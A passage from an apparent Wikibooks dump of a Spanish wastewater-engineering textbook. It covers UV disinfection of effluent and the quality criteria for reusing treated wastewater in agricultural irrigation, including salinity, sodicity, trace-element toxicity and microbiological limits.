* La inactivación del número de microorganismos depende, únicamente de la dosis, pudiéndose compensar un menor tiempo de exposición con una mayor irradiación

* La dosis necesaria para conseguir inactivaciones del 99; 99.9 y 99.99% son, respectivamente: 2; 3 y 4 veces la dosis (D&lt;sub&gt;10&lt;/sub&gt;) para un 90% de inactivación ó un 10% de supervivencia

===9.2 . Producción===

Los rayos UV se generan mediante una descarga eléctrica en vapor metálico, siendo la lámpara de vapor de mercurio la más indicada ara la generación de la radiación germicida (UV-C), dado que la línea de resonancia del átomo de Hg a 254 nm es emitida con alta eficiencia.

Las lámparas pueden ser de Baja Presión, que emiten del orden del 92% de su radiación a 254nm, ó de Media Presión, que dan lugar a un espectro difuso típico 

Aunque las de media P permiten mayor intensidad, y por tanto, mayor dosis para un caudal dado, simplificando la configuración del sistema, ésto se compensa por sus mayores costes y menor vida  

===9.3 . Utilización en desinfección de aguas residuales===

Si bien el desarrollo de la lámpara de Hg data de 1901, los r-UV no se usaron en principio para desinfección debido a los altos costes de operación y problemas de mantenimiento que se presentaron. El desarrollo de fuentes más baratas y eficaces ha hecho que vaya aumentando su aplicación.

====Dosis necesaria====

Ensayos de laboratorio, bajo condiciones ideales, han determinado que, para el E.Coli, las dosis para un 90% (D10) y 99.9% de inactivación son 3mWs/cm2 y 9mWs/cm2, respectivamente.

En condiciones reales, hay factores que influyen en la dosis:

* Un fluido que no transmite la radiación de longitud de onda 253.7nm con la misma eficacia que el agua pura hará que disminuya la intensidad recibida por los microorganismos

* La intensidad de la radiación UV disminuye con el envejecimiento de la lámpara

* El ensuciamiento del tubo de cuarzo también disminuirá la intensidad de la radiación

* Si el caudal a desinfectar es mayor que el de diseño para el equipo, la dosis disminuirá, debido al menor tiempo de contacto

Recíprocamente, la dosis aumentará si el caudal a desinfectar es menor que el de diseño

Puede demostrarse que  D = 216 * 1/Q (m3/h)

Según esto, un A.R. poco tratada no es deseable, siendo aconsejable una transmisividad mínima de la radiación UV del 50% a través de un espesor de 1cm., lo que corresponde a un efluente con tratamiento secundario, para lo cual debe preverse un sistema de limpieza de las lámparas ( por ej. con una solución al 10% de Ac. Cítrico ), y es importante incluir un sistema de control del rendimiento de la desinfección en función de la transmisividad, el caudal de agua a desinfectar y el  nivel de contaminación del tubo de cuarzo de protección de la lámpara, lo que se consigue mediante un equipo de detección de la intensidad de la radiación UV y un control automático de nivel en el canal de desinfección.

La dosis estimada para obtener una reducción de tres unidades logarítmicas (99.9% ) en el número de coliformes fecales de un efluente es de 30 mWs/cm2.

====Reactor====

Cualquier reactor ó cámara de rayos UV debe estar diseñado para que funcione satisfactoriamente con la turbiedad del efluente a desinfectar y para evitar o minimizar, en lo posible, dos fenómenos que, en caso contrario, limitarían el rendimiento del sistema de desinfección: El cortocircuito y la fotorreactivación.

'''Turbidez:'''

La radiación UV penetra, a través del fluido, las paredes de las células de los microorganismos, siendo la energía efectiva únicamente la absorbida por ellos. Si hubiese sólo una partícula en el agua, podría evitarse que actuase de escudo protector sobre los microorganismos, diseñando la cámara de forma que aquella recibiese radiación desde todos los ángulos esféricos. Sin embargo, al haber normalmente muchas partículas, siempre hay un efecto protector de las mismas que puede minimizarse si el agua circula en la cámara en régimen turbulento.

Por tanto, en el diseño hay que considerar:

* El flujo debe ser turbulento

* El agua debe recibir los rayos Uv desde todas direcciones

'''Corto-circuito'''

Se denomina cortocircuito al paso de parte del agua por la cámara, sin haber recibido tratamiento, debido a las condiciones del flujo. Incluso un muy pequeño grado de corto-circuito puede ser extremadamente dañino, habiéndose confirmado mediante trazadores que basta que una parte por mil bypase la cámara, para que no pueda obtenerse un grado de desinfección mayor del 99.9% de reducción, tres unidades logarítmicas en lugar de seis u ocho que podrían obtenerse, dependiendo del A.R.tratada.

'''Foto-reactivación'''

La luz visible puede reparar el daño hecho las bacterias “tocadas”, que no tienen capacidad de reproducirse, pero no han sido matadas. Por tanto, la exposición a la luz inmediatamente después que a la radiación UV, dará lugar a la curación de aquéllas.

Para evitarlo, lo mejor es matar a los microorganismos para lo que se necesita una dosis real de, al menos, 30000 ìWs/cm2.

Las lámparas deben colocarse en la cámara de forma tal que no absorban energía de los adyacentes, ya que de lo contrario, podrían absorber hasta el 80% de la energía emitida, originándose la foto-reactivación.

====Tipos de Reactores====

Básicamente pueden considerarse dos tipos de reactores, según que las lámparas de rayos UV no estén en contacto con el fluido a desinfectar, por el contrario, estén introducidas en su seno.

En el primer caso, el fluido circula por el interior de un tubo de teflón o de cuarzo, estando las lámparas montadas alrededor del mismo, exteriormente Colocando, además, unos reflectores de forma adecuada, se consigue un campo de radiación muy intenso, más en el centro, de forma que el perfil de intensidad se adapte lo más posible al perfil del flujo del agua ( flujo a desinfectar)  

La principal ventaja es que las lámparas no se ensucian y no existen partes móviles, siendo únicamente necesario limpiar el tubo a intervalos que pueden llegar a 2 meses, para efluentes secundarios.

Sin embargo, para A.R. es más empleado el segundo tipo de reactor, que puede ser en conducción cerrada o en canal, si bien es este último el más utilizado, ya que permite un desarrollo modular para adaptarse a caudales y estructuras diferentes, pudiendo ser equipados con el número ideal de lámparas.

Dependiendo del tamaño del equipo completo, se montan varias lámparas en fila, formando un módulo. Los módulos se montan verticalmente en el canal, mediante consolas de apoyo, son variables en la dirección del flujo y pueden ser encendidas y apoyadas individualmente.

Con objeto de lograr una distribución de la dosis en el reactor lo más ideal posible, algunos fabricantes instalan lámparas planas, montadas de tal forma que el máximo de irradiación está en la dirección del flujo.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Diseño de procesos en digestión anaerobia
 |actual=Desinfección de las aguas residuales
 |siguiente=Reutilización de las aguas residuales
}}

{{AutoCat}}</text>
      <sha1>cddrvd20nrg8kvt3jbonqvx4u48h0e1</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Reutilización de las aguas residuales</title>
    <ns>0</ns>
    <id>12678</id>
    <revision>
      <id>429972</id>
      <parentid>424545</parentid>
      <timestamp>2026-08-02T09:31:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429972</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="59981" sha1="kbrz37mu7kgc4pgow5kv7l4ru8l0ljn" xml:space="preserve">==RIEGO AGRÍCOLA==


===1. INTRODUCCIÓN===

Es el uso más extendido, además de que supone una etapa más en el tratamiento de aguas, ya que el suelo es un elemento de alta eficacia depuradora:

A medida que el agua se infiltra en el terreno, este actúa a modo de filtro y en su superficie, por la actividad bacteriana se produce la degradación biológica de la materia orgánica de la misma manera que un tratamiento secundario.

Las principales ventajas e inconvenientes de un agua residual frente a un agua no contaminada son:

*Agua residual: Aporta abundantes elementos nutritivos (es agua fertilizada), pero conlleva riesgos sanitarios con posible contaminación de acuíferos, siempre que no tomemos las medidas adecuadas.

*Agua no contaminada: No presenta problemas sanitarios, el riesgo de contaminación es nulo y su poder fertilizante es escaso.

Los efluentes utilizados para riego proceden de colectividades urbanas con mezclas de aguas domésticas y procedentes de industrias que han sufrido una depuración. Las aguas residuales brutas no suelen utilizarse para riego de especies de consumo, aunque sí para riego de especies arbóreas con finalidad de producción forestal.

===2.  DEFINICIÓN DE USO===

Se entiende por uso agrícola, el uso de aguas para regar cultivos agrícolas destinados al consumo directo alimenticio humano y animal, y consumo indirecto industrial (alimentos procesados como conservas y azúcar y productos textiles de origen vegetal)

===3.  CRITERIOS DE CALIDAD PARA EL AGUA DE RIEGO===

Los parámetros de calidad, que a continuación se enumeran, son suficientes para evaluar la idoneidad de un agua de riego, así como para estimar la posibilidad de que el agua puede causar algún problema general tanto al suelo como a la planta. Los parámetros de calidad son: Tabla 1


Tabla 1
{| border=1 


!PARÁMETROS
!UNIDADES
!NINGUNO
!MODERADO
!SEVERO
!TIPO DE RIEGO
|-----------------

'''SALINIDAD'''
||
||
||
||
||
|-----------------

|Conductividad
||µs/cm
||700
||3000
||&gt;3000
||
|-----------------

|Sodio
||mg/l Na
||70
||&gt;70
||
||R.A.
|-----------------

|S.A.R
||
||3
||9
||&gt;9
||R.S
|-----------------

|Cloruros
||mg/l Cl
||100
||&gt;100
||
||R.A.
|-----------------

|
||
||140
||350
||&gt;350
||R.S
|-----------------

|Bicarbonatos
||mg/l CaCO3
||90
||500
||&gt;500
||R.A.
|-----------------

|Sulfatos
||mg/l SO4
||200
||400
||&gt;400
||
|-----------------

|'''VARIOS'''
||
||
||
||
||
|-----------------

|pH
||
||6.5-8.4
||4.5-9
||4.5-9&gt;
||
|-----------------

|S.S.
||mg/l
||15
||&gt;15
||
||R.A.
|-----------------

|
||
||20
||120
||&gt;120
||R.S
|-----------------

|Cloro residual
||mg/l Cl
||1
||5
||&gt;5
||R.A.
|-----------------

|'''MATERIA ORGÁNICA Y NUTRIENTES'''
||
||
||
||
||
|-----------------

|DBO
||mg/l O2
||15
||&gt;15
||
||R.A.
|-----------------

|
||
||20
||60
||&gt;60
||R.S
|-----------------

|DQO
||mg/l O2
||120
||300
||&gt;300
||
|-----------------

|Nitrógeno total
||mg/l N
||5
||30
||&gt;30
||
|-----------------

|'''TÓXICOS'''
||
||
||
||
||
|-----------------

|Boro
||mg/l B
||0.7
||3
||&gt;3
||
|-----------------

|Aluminio
||mg/l Al
||5
||20
||&gt;20
||
|-----------------

|Arsénico
||mg/l As
||0.1
||2
||&gt;2
||
|-----------------

|Berilio
||mg/l Be
||0.1
||0.5
||&gt;0.5
||
|-----------------

|Cadmio
||mg/l Cd
||0.01
||0.05
||&gt;0.05
||
|-----------------

|Cobalto
||mg/l Co
||0.05
||5
||&gt;5
||
|-----------------

|Cromo
||mg/l Cr
||0.1
||1
||&gt;1
||
|-----------------

|Cobre
||mg/l Cu
||0.2
||5
||&gt;5
||
|-----------------

|Fluoruros
||mg/l
||1
||15
||&gt;15
||
|-----------------

|Hierro
||mg/l Fe
||5
||20
||&gt;20
||
|-----------------

|Litio
||mg/l Li
||0.05
||2.5
||&gt;2.5
||
|-----------------

|Manganeso
||mg/l Mn
||0.02
||10
||&gt;10
||
|-----------------

|Molibdeno
||mg/l Mo
||0.01
||0.05
||&gt;0.05
||
|-----------------

|Níquel
||mg/l Ni
||0.02
||2
||&gt;2
||
|-----------------

|Plomo
||mg/l Pb
||5
||10
||&gt;10
||
|-----------------

|Selenio
||mg/l Se
||0.02
||0.02
||&gt;0.02
||
|-----------------

|Vanadio
||mg/l V
||0.01
||1
||&gt;1
||
|-----------------

|Zinc
||mg/l Zn
||2
||10
||&gt;10
||

|}


NINGUNO:- Agua de buena calidad para cualquier suelo y planta

Riego continuo en todo tipo de suelo.

MODERADO: Agua mediocre, para plantas tolerantes y suelo de textura fina. EI contenido en tóxicos potenciales obliga a riego discontinuo, uso del agua por un periodo hasta 20 años, en suelos neutros o alcalinos de textura fina.

SEVERO: Agua de mala calidad, sólo para plantas muy tolerantes y suelos de textura fina muy bien drenados. Riego discontinuo con muchas precauciones.

====3.1   Características físicas====

Las características físicas incluyen la totalidad de los sólidos en suspensión y las sustancias orgánicas disueltas. Pueden taponar los poros del suelo, revestir con esas sustancias la superficie del terreno y reducir la aireación y penetración del agua, así como obstruir el sistema de riego. Uno de los objetivos fundamentales de las depuradoras es la eliminación de los sólidos contenidos en el agua residual.

Si se aplica un segundo tratamiento, los elementos en suspensión presentan muy pocos problemas. Las materias orgánicas, con tal que no crean problemas de olores ni de aireación, pueden ser beneficiosos para el suelo.

====3.2.	Características químicas====

Las características químicas de importancia para la agricultura de regadío pueden evaluarse mediante la Tabla 1, donde figuran, además, las concentraciones recomendadas para los oligoelementos. Aunque nosotros partimos de un agua que supuestamente no recibe altas cantidades de residuos industriales, se hará un estudio de los problemas que pueden plantearse con el uso excesivo de oligoelementos en agricultura:

Salinidad.

Sodicidad.

Toxicidad de microelementos y metales pesados.

	Nitrógeno total.

pH.

	Bicarbonato

=====3.2.1.	Salinidad=====

Una de las características interesantes del agua de riego, es el contenido en sales que contiene.

En los sistemas convencionales de riego no toda el agua infiltrada en el suelo es consumida por evapotranspiración (EPT) sino que una fracción del agua rebasa la máxima profundidad de la zona radicular de las plantas. Esta fracción que drena produce un lavado de sales y disminuye el proceso de acumulación de sales en el espesor del suelo explorado por las raíces. Sin embargo, siempre que el balance entre las sales acumuladas en el suelo y las eliminadas por las aguas de drenaje sea positivo el suelo acabará salinizándose, haciéndose improductivo.

Las solubilidades de muchas de las sales contenidos en el agua de riego, tales como cloruros, sulfato de sodio, magnesio y potasio, cloruro cálcico, bicarbonatos de sodio y potasio son muy superiores a las cifras límites de tolerancia a la salinidad de la mayor parte de las plantas no halófilas. Las relativamente bajas solubilidades del carbonato cálcico, magnesio y del sulfato cálcico limita su acumulación en la solución del suelo a niveles inferiores a los perjudiciales para las plantas.

Las aguas de riego rara vez contiene suficiente cantidad de sales como para causar un daño inmediato a los cultivos. Cuando no se produce un lavado adecuado, las sales se disolverán en el agua del suelo hasta que se alcance una concentración tal que se exceda el producto de solubilidad de cada una de ellas. De forma general, en aquellos casos en que los valores de la fracción de lavado sean menores del 10%, la precipitación de las sales menos solubles puede ser importante. Los problemas de salinidad se darán más frecuentemente durante los periodos cálidos  debido a la frecuencia de los riegos, y al mayor consumo de agua por parte de las plantas.

'''Cálculo de la salinidad'''

El efecto de la salinidad es fundamentalmente de naturaleza osmótica, originando una disminución del potencial total del agua en el suelo, y afecta por lo tanto negativamente al rendimiento de los cultivos.

El contenido de sales suele ser peligroso cuando pasa por encima de 100 mg/l, contabilizándose en esta cifra todos los iones existentes en el agua. La salinidad del agua de riego se determina midiendo su conductividad eléctrica (C.E.), concentración de boro, cloruro, bicarbonatos, Na+, Ca2+ y Mg2+.

La C.E., es una de las determinaciones que se utilizan con mayor frecuencia, indica la facilidad con que una corriente eléctrica pasa a través del agua, de forma que cuando mayor sea el contenido de sales solubles ionizadas, mayor será el valor de aquella. Para medirla se emplea el conductivímetro.

Técnica y prácticamente se ha demostrado que la cantidad de sales disueltas ionizadas en el agua es proporcional a la C.E.

Como la mayoría de las sales de interés son muy solubles o ionizables, se ha comprobado que se cumple la siguiente relación:

S.T. = C.E. · K

Siendo:

S.T. = Concentración en sales totales, en mg/l.

C.E. = Conductividad eléctrica a 25 ºC, en dS/m.

K = Constante de proporcionalidad, siendo 0,64 si expresado en μm/cm o 640 si está en mm/cm.

La F.A.O. clasifica en tres niveles la C.E. según los riesgos de salinidad: 

Tabla 
{| border=1 


!Índice de Salinidad
!C.E. (miliohm/cm) a 25ºC
!Riesgos de Salinidad
|-----------------

|1
||&lt; 0,75
||Sin problemas
|-----------------

|2
||0,75 — 3,0
||Problemas crecientes
|-----------------

|3
||&gt; 3,0
||Problemas serios

|}


'''Solución de los problemas de salinidad:'''

El drenaje, la lixiviación y el cambio de un cultivo por otro más tolerante a la salinidad, son prácticas para evitar el impacto de una acumulación de sales a largo plazo.

Sin embargo, también se deben considerar las prácticas para tratar la salinidad temporal, estas prácticas consiste en el lavado las sales aplicando a la zona radicular más agua que la que necesitan los cultivos durante su período de crecimiento. Esta cantidad extra de agua, percola por debajo de la zona radicular, desplazando por lo menos una parte de las sales acumuladas en ella.

Los factores críticos en el control de las sales son la cantidad de agua necesaria para la lixiviación y el momento oportuno para su aplicación.

Las prácticas que pueden aumentar la eficacia del lavado:

* Lavar las sales preferentemente durante las estaciones frías. Ello aumenta la eficacia y facilita la lixiviación ya que la evapotranspiración es más baja.

*	  Utilizar los cultivos de mayor tolerancia a la salinidad. Ello implica una fracción de lavado menor y permite un ahorro de agua.

*  	Labrar el suelo para disminuir la escorrentía y destruir las grietas que dejan pasar el agua a través de poros grandes y otras resquebrajaduras, disminuyendo la eficacia de lavado.

*  	Riegos con aspersión con intensidades de aplicación superiores a la velocidad de infiltración. La lixiviación por aspersión requiere mayor tiempo y menor agua que la lixiviación por inundación continua.

*  	Preferir la práctica de alternar períodos de inundación con períodos secos, a la práctica de inundación continua.

*  	Programar los lavados durante los períodos de menor consumo de agua por los cultivos. En caso contrario, proponer los lavados para después de la campaña de cultivo.

*  	En los casos de suelos de lenta infiltración, se debe prever el riego de presiembra o la lixiviación fuera de la campaña de cultivo, para evitar aplicaciones excesivas de aguas durante el período de crecimiento.

*  	Regar antes de la llegada de las lluvias, cuando se prevea que estas serán insuficientes para completar la lixiviación.

'''Tolerancia de los cultivos a la salinidad:'''


No todos los cultivos responden de igual manera a la salinidad, algunos producen rendimientos aceptables a niveles de alta salinidad y otras son sensibles a niveles relativamente bajos. Esta diferencia se debe a la mejor capacidad de adaptación osmótica que tiene algunos cultivos, los que permiten absorber, bajo condiciones de salinidad una mayor cantidad de agua. Las plantas sensibles a la salinidad, gastan mucha energía en captar esa agua en detrimento del desarrollo de la misma.

=====3.2.2.	  Sodicidad=====

Las partículas del suelo adsorben y retienen cationes como consecuencia de las cargas eléctricas que existen en la superficie. Una vez que los cationes adsorbidos se han cambiado químicamente con las partículas del suelo, pueden ser reemplazadas por otros cationes que se encuentran en la solución del suelo. Esta reacción recibe el nombre de intercambio de cationes, donde los más fácilmente intercambiables son los cationes Na, Ca y Mg.

Se entiende por sodicidad al fenómeno derivado de la composición del agua de riego, que tiende a elevar el porcentaje de sodio intercambiable (P.S.I.). Este aumento depende, entre otros factores, de la relación del sodio soluble a los cationes divalentes (Ca2+, Mg2+) y del nivel de iones bicarbonatos en el agua de riego.

El sodio es uno de los uno de los iones que más favorece a la degradación del suelo, es el sodio que sustituye al calcio en los suelos áridos, produciendo problemas de filtración en los mismos. Esta situación da lugar a una dispersión de los agregados y a una pérdida de la estructura, que dificulta la circulación del aire y agua, por lo que el suelo adquiere un aspecto polvoriento y amorfo, perdiendo rápidamente su permeabilidad.

Está demostrado que aguas con alto contenido en sodio y baja salinidad conducen al hinchamiento y/o dispersión de las partículas del suelo, con el consiguiente efecto negativo sobre las propiedades físicas del mismo. La infiltración, en general, aumenta con la salinidad y disminuye con una reducción en salinidad, o un aumento en el contenido en sodio en relación al calcio y en magnesio (RAS).

Un agua de salinidad (Cea &lt; 0,5 ds/m o &lt; 0,2), tiende a lixiviar las sales y minerales solubles, incluyendo el calcio, reduciendo su influencia sobre la estabilidad de las agregadas y estructura del suelo. Las partículas más pequeñas del suelo así dispersados obstruyen el espacio poroso y sellan la superficie del suelo, reduciendo notablemente la infiltración.

En la siguiente tabla se muestra los efectos sobre la permeabilidad del suelo que pueden presentarse con diferentes concentraciones de salinidad y sodio. 

Tabla 4

{| border=1 

!

!!sin Problemas

!Problemas Crecientes

!Problemas serios
|-----------------

|Riesgo del descenso de 

permeabilidad (CE μΩ/cm)
||&gt;0,5

||&lt;0,5

||&lt;0,2
|-----------------

|Riesgo del descenso de 

permeabilidad (SARaj)
||&lt;6

||6-9

||&gt;9

|}
Por otro lado, un alto contenido en sodio, además, es fitotóxico para muchas plantas: Les produce quemaduras en las hojas, clorosis y muerte de las ramas pequeñas.

=====3.2.3.	 TOXICIDAD=====

La toxicidad se produce dentro de la misma planta y es el resultado de la absorción y acumulación de ciertos constituyentes existentes en el agua de riego. Estos reciben el nombre de microelementos ya que son elementos indispensables para la vida de las plantas pero se encuentran presentes en proporciones muy pequeñas en los tejidos biológicos.

Los microelementos que actualmente son reconocidos como esenciales para las plantas superiores son el hierro (Fe), el manganeso (Mn), el zinc (Zn), el cobre (Cu), el boro (B), y el molibdeno (Mo).

Otros elementos pueden tener un papel útil para ciertas plantas como el cloro (Cl), el silicio (Si) y el cobalto (Co).

El sodio (Na), realmente ocupa una posición muy particular. Representa  un papel de microelemento para ciertas plantas y es sobre todo útil para las plantas halófilas.

Aparte existen otros elementos conocidos como metales pesados no esenciales (cadmio, mercurio, plomo,...) cuya presencia superior a una concentración límite son totalmente tóxicos tanto para los cultivos como para la fauna y flora acuática. (Tabla 6)

Tabla 6:   Concentraciones máximas de microelementos recomendadas         en aguas de riego
{| border=1 


!Microelemento
!Concentración 

máxima 

recomendada 

(ppm)(b)
!Observaciones
|-----------------

|Aluminio
||5,0
||Puede provocar una falta de productividad en suelos ácidos pH&lt; 5.5, 

aunque suelos más alcalinos precipitarán el ión y eliminarán cualquier 

toxicidad.
|-----------------

|Arsénico
||0,10
||su fitotoxicidad varía ampliamente entre 12 ppm para la hierba del 

Sudán hasta menos de 0,5 ppm para el arroz.
|-----------------

|Berilio
||0.10
||Su fitotoxicidad varía ampliamente entre 5 ppm para la col rizada y

 0,5 para las judías verdes.
|-----------------

|Cadmio
||0,01
||Es tóxico para las judías, la remolacha y los nabos a concentraciones

tan bajas como 0,1 mg/l en disolución. Los limites recomendados son 

conservadores debido a su capacidad para acumularse en el suelo y 

en las plantas hasta concentraciones que pueden ser perjudiciales para 

las personas.
|-----------------

|Cobalto
||0,05
||Es tóxico para la planta del tomate a una concentración de 0,1 mg/l en disolución. Suele ser inactivado por suelos neutros o alcalinos.
|-----------------

|Cromo
||0,1
||No está considerado como un elemento esencial para el crecimiento. 

Los límites recomendados son conservadores debido a los escasos 

conocimientos sobre su fitotoxicidad.
|-----------------

|Cobre
||0,2
||Es tóxico para diversas plantas a concentraciones entre 0,1 y 1,0 mg/l 

en disolución.
|-----------------

|Fluoruros
||1,0
||Es inactivado por suelos neutros o alcalinos.
|-----------------

|Hierro
||5,0
||No es tóxico para las plantas en suelos aireados, pero puede 

contribuir a la acidificación del suelo y a la disminución del fósforo y 

molibdeno, elementos esenciales para las plantas. El riego por 

aspersión elevado puede dar lugar a depósitos desagradables en las 

plantas, los equipos y los edificios.
|-----------------

|Litio
||2,5
||Es tolerado por la mayoría de los cultivos hasta 5 mg/l; es un 

elemento móvil en el suelo. Es tóxico para los cítricos a 

concentraciones superiores a 0,075 mg/l. Actúa en forma similar al boro.
|-----------------

|Manganeso
||0,2
||Es tóxico para diversas plantas a concentraciones entre unas 

décimas y unos miligramos por litro, aunque principalmente en suelos ácidos.
|-----------------

|Molibdeno
||0.01
||No es tóxico para las plantas en las concentraciones normalmente 

presentes en el suelo y en el agua. Puede ser tóxico para el ganado 

cuando el forraje se cultiva en suelos con elevadas concentraciones de molibdeno disponible.
|-----------------

|Níquel
||0,2
||Es tóxico para diversas plantas a concentraciones entre 0,5 y 1,0 

mg/l; su toxicidad disminuye a pH neutro o alcalino.
|-----------------

|Plomo
||5,0
||Puede inhibir el crecimiento de las células vegetales a 

concentraciones muy elevadas.
|-----------------

|Selenio
||0,02
||Es tóxico para las plantas a concentr.  tan pequeñas como 0,025 mg/l, 

y para el ganado cuando el forraje se cultiva en suelos con niveles 

relativamente altos de selenio añadido. Es un elemento esencial para 

el crecimiento de los animales, pero en concentr.  muy pequeñas.
|-----------------

|Estaño
||
||Las plantas lo rechazan de forma eficaz; su tolerancia específica es 

desconocida.
|-----------------

|Titanio
||
||Comportamiento similar al estaño
|-----------------

|Tungsteno
||
||Comportamiento similar al estaño
|-----------------

|Vanadio
||0,1
||Es tóxico para muchas plantas a concentraciones relativamente bajas.
|-----------------

|Zinc
||2,0
||Es tóxico para muchas plantas a concentraciones muy variables; su 

toxicidad disminuye a pH&gt;6,0 y en suelos con textura fina o de carácter 

orgánico.

|}
a)	Adaptado de Water Quality Criteria (NAS-NAE, 1972) y Pratt (1972)

b)	La concentración máxima se ha basado en una tase de riego acorde con unas buenas prácticas agronómicas, es decir 12000 m3/ha/año. Si la tasa de riego excede este valor, la concentración máxima debe disminuir de forma proporcional. No debe efectuarse ningún ajuste cuando las tasas de riego sean inferiores a la indicada. Los valores recomendados corresponden a la fuente de abastecimiento de agua utilizada para regar de forma continuada en un mismo lugar.

Los microelementos esenciales participan en el metabolismo de la planta. Son necesarias para las enzimas ya sean como activadores ya como constituyentes específicos de sistemas enzimáticos.

Pequeñas cantidades de microelementos esenciales permiten obtener el crecimiento óptimo de la planta, pero rápidamente se llega del óptimo al exceso con cantidades mínimas (ocurre a pH ácido o muy ácido), es decir, a la toxicidad; no ocurre así en el caso de los macroelementos.

El orden de abundancia en suelos irrigados con este tipo de aguas: Fe&gt; Zn&gt; Cu&gt; Pb&gt; Cr&gt; Ni&gt; Cd. Los efluentes tras un tratamiento secundario tienen concentraciones similares a las de las aguas naturales excepto para el Zn, más abundante en aguas residuales urbanas.

Estos últimos elementos son considerados como los más peligrosos, junto el Hg.

Teniendo en cuenta que la mayoría de los microelementos tienden a acumularse en el suelo; el contenido de éstos en suelos regados con agua residual regenerada puede aumentar considerablemente si el riego se prolonga durante un largo periodo de tiempo. Ensayos realizados en el Estado de California han llegado a la conclusión de que se puede regar con agua residual de composición típica durante casi 100 años, antes de que la concentración debida a la acumulación de microelementos en el suelo alcance el límite máximo.

El agua y el suelo deben analizarse periódicamente a fin de estimar la velocidad de acumulación de elementos en el suelo.

=====3.2.4.	 Nitrógeno total=====

Los rendimientos de los cultivos sensibles al nitrógeno (remolacha azucarera, vid, albaricoque, cítricos...) pueden verse afectados por concentraciones de nitrógeno que excedan de 5 mg/l procedentes tanto de nitrato como de amonio. Cuando la concentración excede los 20 mg/1 son de temer problemas graves con cultivos sensibles. Para cultivos no sensibles, puede ser adecuada la concentración de más de 30 mg/l, evitándose en estos casos el aporte de abonos nitrogenados. Concentraciones de menos de 5 mg/l no tienen ningún efecto ni en cultivos sensibles al nitrógeno.

''' El nitrógeno y la planta'''

El nitrógeno orgánico no puede ser absorbido por la planta; previamente hay que transformarlo a nitrógeno mineral. Cuando necesita un efecto rápido sobre el cultivo se emplea el nitrógeno nítrico y para un efecto más lento el amoniacal.

Las plantas absorben nitrógeno desde el principio hasta el final de su desarrollo; pero hay etapas en las que las necesidades de nitrógeno son más intensas. En los cereales, las mayores necesidades coinciden con el ahijado, encañado y floración; en los frutales coinciden con la floración y el cuajado de frutos

=====3.2.5.	Índice de acidez=====

El pH representa la medida de la acidez o alcalinidad del agua.

El intervalo normal para agua de riego oscila entre pH 6,5 y 8 y el agua residual urbana ya sea bruta o tratada sin vertidos industriales en condiciones normales se encuentra en un intervalo ideal para su uso para riego.

Sin embargo, cuando se encuentra fuera de este rango indica que algo anormal ocurre; ya sea referente a la calidad del agua o a la presencia de algún ión tóxico. Cuando sucede esto último el pH sirve como advertencia de que hay que realizar una rigurosa analítica del agua, para una vez averiguado qué causa la bajada o subida del pH, hacer las correcciones necesarias.

El control de pH se hace necesario tanto para evitar daños en cultivos, en tratamiento biológico etc., como para evitar corrosiones en tuberías de los diferentes sistemas de distribución del agua así como en los sistemas de riego

=====3.2.6.	Bicarbonatos=====

La alcalinidad es debida a la presencia de bicarbonatos HCO3-, carbonatos e hidróxidos. La mayor parte de la alcalinidad natural en las aguas las causa el bicarbonato. En las aguas residuales es útil porque proporciona un amortiguamiento para resistir los cambios de pH; pero con respecto al riego, aún en concentraciones muy bajas puede ser un problema sobre si se trata de riego por aspersión de frutales o viveros durante períodos de baja humedad y gran evaporación. A medida que el agua de las hojas se evapora, las sales se concentran. Aunque ello no implica toxicidad, si el efecto de concentración es suficientemente grande, las sales menos solubles en el agua precipitan depositándose en el fruto y en las hojas.


====3.3 .Características biológicas:====

Estas características se relacionan con bacterias, virus y otros organismos causantes de enfermedades. Antes de ser tratadas, las aguas residuales tendrán toda clase de microorganismos, muchos de los cuales son patógenos, es decir, causantes de enfermedades. El grado de desinfección dependerá del tratamiento usado, la utilización que se prevé y los requisitos sanitarios. Algunos ejemplos son: 

·	*Bacterias de la putrefacción, como por ejemplo Pseudomonas fluorescens, P. aeruginosa, Proteus vulgaris, Bacillus cereus, B. subtilis, Aerobacter cloacae, Zooglea ramigera...
·	
·	*Coliformes: constituye un indicador importante de la impurificación del agua con materias fecales
·	
·	*Enterobacteriáceas, como Escherichia coli, Aerobacter aerogenes, Streptococcus faecalis; todas ellas procedentes de los intestinos.
·	
·	*Hongos: las aguas de desecho contienen también esporas e hifas de hongos como Leptomitus lacteus y Fusarium aquaedutuum. Proliferan en un amplio intervalo de pH (de 3 a 9).
·	
·	*Bacterias intestinales patógenas, como Salmonella typhi y Salmonella paratyphi, que producen enfermedades típicas, algo más raro es la Shigella que produce la disentería, el Vibrio cholerae (agente del cólera), el bacilo tuberculoso (Mycrobacterium tuberculosis)...
·	
·	*Virus patógenos para la especie humana: Además de bacterias y hongos las aguas residuales urbanas son portadoras de numerosos virus patógenos para la especie humana, los cuales conservan su virulencia allí, durante más o menos tiempo, como el virus de la poliomielitis.
·	
·	* microorganismos patógenos para los animales: Un ejemplo claro es el de la brucelosis del ganado producida por bacterias del género Brucella.
·	
Una forma de transmitir todas estas enfermedades es a través del uso de estas aguas para riego agrícola. Por este motivo es necesario e imprescindible un tratamiento previo para su posterior reutilización en riego, tratamiento que dependerá del uso que se le vaya a dar (tipo de riego, cultivo, zona a regar) y por supuesto condiciones sanitarias impuestas.

La propuesta de calidad de los parámetros microbiológicos requerida para las aguas de riego, de la O.M.S, son muy parecidas a las establecidas por el M0 de Sanidad de Francia, estas últimas son: 

Tabla 8
{| border=1 

!
!Hortalizas y frutas crudas
!Cereales y cultivos para conservas
|-----------------

|PARÁMETROS MICROBIOLÓGICOS


|-----------------

|Nematodos intestinales (media 

aritmética huevos/l)
||&lt;1
||&lt;1
|-----------------

|Coliformes fecales(media 

geométrica/100ml)
||&lt;1000
||
|-----------------

|Tratamiento orientativo
||Estanques de estabilización o equivalente
||Estanques de estabilización o equivalente
|-----------------

|Grupo expuesto
||Trabajador, consumidor
||Trabajador

|}
En EEUU la E.P.A (Agencia de protección ambiental), recomienda una normativa a nivel federal sobre la reutilización de aguas residuales para uso agrícola, para aquellos estados que no han desarrollado su propia normativa.

Las recomendaciones de calidad son muy estrictas, más que la O.M.S, además de que contemplan otros parámetros como pH, DBO y Turbidez o SS:

AQUÍ ESTOY

Tabla 9
{| border=1 


!TIPO DE REUTILIZACIÓN
!TRATAMIENTO
!CALIDAD
